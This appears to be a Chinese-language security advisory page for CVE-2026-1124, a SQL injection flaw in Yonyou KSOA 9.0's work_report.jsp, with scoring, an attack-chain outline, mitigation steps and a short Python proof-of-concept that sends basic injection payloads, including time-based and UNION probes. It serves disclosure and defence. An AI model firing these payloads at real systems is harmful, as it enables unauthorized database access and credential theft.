IPBUF安全漏洞报告
English
CVE-2026-1124 CVSS 7.3 高危

CVE-2026-1124: 用友KSOA 9.0 work_report.jsp SQL注入漏洞

披露日期: 2026-01-18

漏洞信息

漏洞编号
CVE-2026-1124
漏洞类型
SQL注入
CVSS评分
7.3 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Yonyou KSOA 9.0

相关标签

SQL注入用友KSOACVE-2026-1124远程代码执行高危漏洞JSP企业软件

漏洞概述

CVE-2026-1124是用友KSOA 9.0中存在的一个高危SQL注入漏洞。该漏洞位于/worksheet/work_report.jsp文件中的HTTP GET参数处理器中,攻击者可通过操纵ID参数实现SQL注入攻击。由于该漏洞可通过网络远程利用,且无需认证和用户交互,因此具有较高的安全风险。攻击者成功利用此漏洞可获取数据库中的敏感信息,包括用户凭证、业务数据等,甚至可能在特定条件下实现系统权限提升。该漏洞的利用代码已被公开披露,厂商用友软件在收到安全通知后未做出任何响应。建议受影响的用户立即采取防护措施,避免遭受潜在的网络攻击。

技术细节

该SQL注入漏洞存在于用友KSOA 9.0的/worksheet/work_report.jsp文件中。漏洞产生的根本原因是应用程序在处理用户输入的ID参数时,未对用户输入进行充分的输入验证和SQL语句参数化处理。攻击者可以通过构造恶意的SQL语句片段作为ID参数值,绕过前端输入限制并成功注入到后端SQL查询中。由于该接口采用HTTP GET方法传递参数,攻击者可以直接通过URL请求触发漏洞。CVSS 3.1评分显示该漏洞具有网络可达性(AV:N)、低攻击复杂度(AC:L)、无需认证(PR:N)和无需用户交互(UI:N)的特点。攻击者利用此漏洞可对数据库执行未授权的查询操作,读取、修改或删除敏感数据。漏洞影响机密性、完整性和可用性均为低级别(C:L/I:L/A:L)。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标系统使用用友KSOA 9.0版本,确认存在/worksheet/work_report.jsp端点
STEP 2
步骤2: 漏洞探测
通过构造带有SQL注入payload的HTTP GET请求测试ID参数,验证漏洞存在性
STEP 3
步骤3: 注入执行
利用UNION SELECT、布尔盲注或时间盲注等技术从数据库中提取敏感数据
STEP 4
步骤4: 数据窃取
获取数据库中的用户账号、密码、业务数据等敏感信息
STEP 5
步骤5: 权限提升
在特定条件下,通过获取的管理员凭证进行横向移动或进一步渗透

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # CVE-2026-1124 SQL Injection PoC for Yonyou KSOA 9.0 # Target: /worksheet/work_report.jsp # Parameter: ID target_url = "http://target-server/worksheet/work_report.jsp" # Basic SQL Injection test payloads payloads = [ "1' OR '1'='1", "1' UNION SELECT NULL--", "1' AND SLEEP(5)--", "1'; SELECT COUNT(*) FROM users--" ] def test_sql_injection(url, param_name='ID'): for payload in payloads: params = {param_name: payload} try: response = requests.get(url, params=params, timeout=10) print(f"Payload: {payload}") print(f"Status: {response.status_code}") print(f"Response Length: {len(response.text)}") print("---") except requests.exceptions.RequestException as e: print(f"Error: {e}") if __name__ == "__main__": test_sql_injection(target_url)

影响范围

Yonyou KSOA 9.0

防御指南

临时缓解措施
在官方补丁发布之前,可采取以下临时缓解措施:1) 在Web应用层或WAF中配置SQL注入防护规则,对ID参数进行严格过滤;2) 限制/worksheet/work_report.jsp接口的访问来源,仅允许受信任的IP访问;3) 加强对数据库的监控和日志审计,及时发现异常查询行为;4) 对关键业务数据进行加密存储和备份,防止数据泄露后被直接利用。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表